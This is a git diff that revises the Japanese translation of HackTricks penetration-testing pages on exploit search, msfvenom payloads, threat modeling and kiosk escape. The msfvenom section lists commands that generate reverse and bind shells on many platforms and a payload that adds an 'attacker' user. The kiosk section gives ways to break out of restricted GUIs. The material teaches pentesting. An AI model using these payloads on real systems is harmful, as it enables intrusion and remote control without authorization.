diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 7434d287b..4a7e279b9 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -2,23 +2,23 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で **フォロー**する。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
-
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,11 +26,11 @@ HackTricks をサポートする他の方法: 常に "google" や他の検索エンジンで検索してください: **\ \[version] exploit** -また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodan exploit search**を試してみてください。 +また、[https://exploits.shodan.io/](https://exploits.shodan.io)の **shodan** **exploit search** も試してみてください。 ### Searchsploit -**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。 +**exploitdbからコンソールでサービスの脆弱性を検索**するために便利です。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)は、脆弱性を検索するための別のツールです。 +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) は、エクスプロイトを検索するための別のツールです。 ### MSF-Search ```bash @@ -60,7 +60,7 @@ vulners データベースでも検索できます: [https://vulners.com/](https これは他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com) -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ @@ -74,10 +74,10 @@ vulners データベースでも検索できます: [https://vulners.com/](https HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricks で企業を宣伝** したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。 -* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の github リポジトリに PR を提出することで、あなたのハッキングトリックを共有してください。 +* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください diff --git a/generic-methodologies-and-resources/shells/msfvenom.md b/generic-methodologies-and-resources/shells/msfvenom.md index d4bb47bd2..397ee34e3 100644 --- a/generic-methodologies-and-resources/shells/msfvenom.md +++ b/generic-methodologies-and-resources/shells/msfvenom.md @@ -6,36 +6,36 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有してください。 -
+
-経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! +経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! **ハッキングの洞察**\ -ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく +リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく **最新のアナウンス**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手する +最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! +**[Discord](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** *** -## 基本的なmsfvenom +## 基本的な msfvenom `msfvenom -p -e -f -i LHOST=` -アーキテクチャを指定するために`-a`を使用することもできます、または`--platform`を使用します +`-a` を使用してアーキテクチャを指定するか、`--platform` を使用することもできます ## リスト化 ```bash @@ -72,6 +72,8 @@ msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` +{% endcode %} + ### CMD シェル {% code overflow="wrap" %} @@ -99,20 +101,28 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` -## Linux Payloads +{% endcode %} + +## Linux ペイロード ### リバースシェル + +{% code overflow="wrap" %} ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` +{% endcode %} + ### バインドシェル {% code overflow="wrap" %} ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` -### SunOS (Solaris) +{% endcode %} + +### SunOS(Solaris) {% code overflow="wrap" %} ```bash @@ -126,19 +136,21 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` +{% endcode %} + ### **バインドシェル** {% code overflow="wrap" %} ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` +{% endcode %} + ## **Webベースのペイロード** ### **PHP** #### 逆シェル - -{% code overflow="wrap" %} ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php @@ -168,7 +180,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` -## **スクリプト言語のペイロード** +## **スクリプト言語ペイロード** ### **Perl** @@ -184,6 +196,8 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` +{% endcode %} + ### **Bash** {% code overflow="wrap" %} @@ -192,17 +206,17 @@ msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f ``` {% endcode %} -
+
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! -**ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう +**ハッキングの洞察力**\ +ハッキングのスリルとチャレンジに深く入り込むコンテンツと関わりましょう **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう +リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態で把握しましょう -**最新のアナウンスメント**\ +**最新のお知らせ**\ 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう **[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう! @@ -213,10 +227,10 @@ msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com) を手に入れましょう +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけましょう +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしましょう +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有しましょう diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index daca640c9..dd0d47a7f 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -2,21 +2,21 @@ ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されたかどうかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難型マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 彼らのウェブサイトをチェックし、エンジンを**無料**で試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## 脅威モデリング -サイバーセキュリティの重要な側面である脅威モデリングに関するHackTricksの包括的なガイドへようこそ!ここでは、システム内の潜在的な脆弱性を特定し、理解し、対策を立てるための探求が行われます。このスレッドは、実践的な例、役立つソフトウェア、理解しやすい説明が詰まった段階的なガイドとして、初心者から経験豊富な実践者まで、サイバーセキュリティの防御を強化することを目指しています。 +脅威モデリングに関するHackTricksの包括的なガイドへようこそ!サイバーセキュリティの重要な側面である脅威モデリングについて、システム内の潜在的な脆弱性を特定し、理解し、戦略を立てる探求を始めましょう。このスレッドは、実践的な例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして、セキュリティの防御を強化したい初心者や経験豊富な実務家に最適です。 ### よく使用されるシナリオ @@ -25,30 +25,30 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ ### 脅威モデルの要点 -脅威モデルは、通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。 +脅威モデルは通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図表、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。 -脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎となっており、STRIDEが最も一般的な手法の1つです。ただし、選択される手法は、特定の文脈や要件に応じて異なる場合があります。 +脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、STRIDEが最も一般的なものの1つです。ただし、選択される方法論は、特定の文脈や要件に応じて異なる場合があります。 ### CIAトライアド -CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング手法を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング手法にも適用されています。 +CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング方法論を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング方法論の基礎となっています。 1. **機密性**:データやシステムが不正な個人によってアクセスされないようにすること。これはセキュリティの中心的な側面であり、データ漏洩を防ぐために適切なアクセス制御、暗号化、およびその他の対策が必要です。 -2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにすることを保証します。これには、チェックサム、ハッシュ、および他のデータ検証方法がしばしば含まれます。 -3. **可用性**:データやサービスが必要な時に認証されたユーザーにアクセス可能であることを保証すること。これには、冗長性、障害耐性、および高可用性構成が含まれ、システムが障害に直面しても稼働し続けるようにします。 +2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにします。これには、チェックサム、ハッシュ、およびその他のデータ検証方法がしばしば含まれます。 +3. **可用性**:データとサービスが必要な時に認証されたユーザーにアクセス可能であることを確保すること。これには、システムが障害に直面しても稼働し続けるようにするための冗長性、障害耐性、高可用性構成がしばしば含まれます。 -### 脅威モデリング手法 +### 脅威モデリング方法論 -1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この手法は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。 -2. **DREAD**:Microsoftの別の手法で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。 -3. **PASTA**(攻撃シミュレーションと脅威分析のプロセス):これは7つのステップからなる**リスク中心**の手法です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーションの分解、脅威分析、脆弱性分析、リスク/トリアージ評価が含まれます。 -4. **Trike**:これは資産の防御に焦点を当てたリスクベースの手法です。リスク管理の観点から始まり、その文脈で脅威や脆弱性を見ます。 -5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の手法から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 +1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この方法論は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。 +2. **DREAD**:これはMicrosoftの別の方法論で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。 +3. **PASTA**(攻撃シミュレーションおよび脅威分析プロセス):これは7つのステップからなる**リスク中心**の方法論です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーション分解、脅威分析、脆弱性分析、リスク/トリアージ評価を含みます。 +4. **Trike**:これは資産の防御に焦点を当てたリスクベースの方法論です。リスク管理の観点から始まり、その文脈で脅威と脆弱性を考えます。 +5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の方法論から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価):CERT Coordination Centerによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく組織のリスク評価**に向けられています。 ## ツール -脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのツールです。 +脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのものです。 ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -66,7 +66,7 @@ CIAトライアドは、情報セキュリティ分野で広く認識されて ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASPのオープンソースプロジェクトであるThreat Dragonは、システム図作成と脅威/緩和策の自動生成を含むWebおよびデスクトップアプリケーションです。 +OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和の自動生成のためのルールエンジンを含むWebおよびデスクトップアプリケーションです。 **使用方法** @@ -110,7 +110,7 @@ SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは
-アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加する場合は、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスに次のように表示されます: +アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加すると、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスには次のように表示されます:
@@ -121,14 +121,13 @@ SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソッドを使用し、特にMicrosoftのスタックで開発している人に適しています。 - +これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソドロジーを使用し、特にMicrosoftのスタックで開発している人に適しています。 ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 diff --git a/hardware-physical-access/escaping-from-gui-applications.md b/hardware-physical-access/escaping-from-gui-applications.md index 543a5d3aa..a651acc5b 100644 --- a/hardware-physical-access/escaping-from-gui-applications.md +++ b/hardware-physical-access/escaping-from-gui-applications.md @@ -1,75 +1,75 @@ +# KIOSKからの脱出 +
-htARTE(HackTricks AWS Red Team Expert)を使って、AWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert)を使って、**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@carlospolopm**(https://twitter.com/hacktricks\_live)をフォローする。 +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
-### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、無料でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** -# GUIアプリケーション内の可能なアクションをチェック +## GUIアプリケーション内での可能なアクションをチェック -**一般的なダイアログ**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできる場合、**完全なエクスプローラ機能**が提供されます。 +**一般的なダイアログ**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできれば、**完全なエクスプローラ機能**にアクセスできます。 -これは、次のオプションにアクセスできる場合、エクスプローラ機能にアクセスできることを意味します: - -- 閉じる/閉じる -- 開く/開くと -- 印刷 -- エクスポート/インポート -- 検索 -- スキャン +* 閉じる/閉じるとして +* 開く/開くとして +* 印刷 +* エクスポート/インポート +* 検索 +* スキャン 次のことをチェックすべきです: -- ファイルの変更または新規作成 -- シンボリックリンクの作成 -- 制限された領域へのアクセス -- 他のアプリケーションの実行 +* ファイルの変更または新規作成 +* シンボリックリンクの作成 +* 制限された領域へのアクセス +* 他のアプリケーションの実行 -## コマンドの実行 +### コマンドの実行 -おそらく**`開くと`**オプションを使用して、いくつかの種類のシェルを開いたり実行したりできるかもしれません。 +おそらく**`開くとして`**オプションを使用して、ある種のシェルを開いたり実行したりできるかもしれません。 -### Windows +#### Windows たとえば、_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つける:[https://lolbas-project.github.io/](https://lolbas-project.github.io) -### \*NIX __ +#### \*NIX \_\_ _bash、sh、zsh..._ ここで詳細を確認:[https://gtfobins.github.io/](https://gtfobins.github.io) -# Windows +## Windows -## パス制限のバイパス +### パス制限のバイパス -- **環境変数**:いくつかのパスを指す環境変数がたくさんあります -- **その他のプロトコル**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ -- **シンボリックリンク** -- **ショートカット**:CTRL+N(新しいセッションを開く)、CTRL+R(コマンドを実行する)、CTRL+SHIFT+ESC(タスクマネージャー)、Windows+E(エクスプローラを開く)、CTRL-B、CTRL-I(お気に入り)、CTRL-H(履歴)、CTRL-L、CTRL-O(ファイル/開くダイアログ)、CTRL-P(印刷ダイアログ)、CTRL-S(名前を付けて保存) -- 隠し管理メニュー:CTRL-ALT-F8、CTRL-ESC-F9 -- **シェルURI**:_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **UNCパス**:共有フォルダに接続するパス。ローカルマシンのC$に接続してみるべきです("\\\127.0.0.1\c$\Windows\System32") -- **その他のUNCパス:** +* **環境変数**:いくつかのパスを指す環境変数がたくさんあります +* **その他のプロトコル**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ +* **シンボリックリンク** +* **ショートカット**:CTRL+N(新しいセッションを開く)、CTRL+R(コマンドを実行する)、CTRL+SHIFT+ESC(タスクマネージャー)、Windows+E(エクスプローラを開く)、CTRL-B、CTRL-I(お気に入り)、CTRL-H(履歴)、CTRL-L、CTRL-O(ファイル/開くダイアログ)、CTRL-P(印刷ダイアログ)、CTRL-S(名前を付けて保存) +* 隠し管理メニュー:CTRL-ALT-F8、CTRL-ESC-F9 +* **シェルURI**:_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ +* **UNCパス**:共有フォルダに接続するパス。ローカルマシンのC$に接続してみるべきです("\\\127.0.0.1\c$\Windows\System32") +* **その他のUNCパス:** | UNC | UNC | UNC | | ------------------------- | -------------- | -------------------- | @@ -83,13 +83,13 @@ _bash、sh、zsh..._ ここで詳細を確認:[https://gtfobins.github.io/](ht | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -## バイナリのダウンロード +### バイナリのダウンロード Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ レジストリエディター: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -## ブラウザからファイルシステムにアクセス +### ブラウザからファイルシステムにアクセス | PATH | PATH | PATH | PATH | | ------------------- | ----------------- | ------------------ | ------------------- | @@ -101,46 +101,46 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( | %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | | %HOMEDRIVE% | %HOMESHARE | |


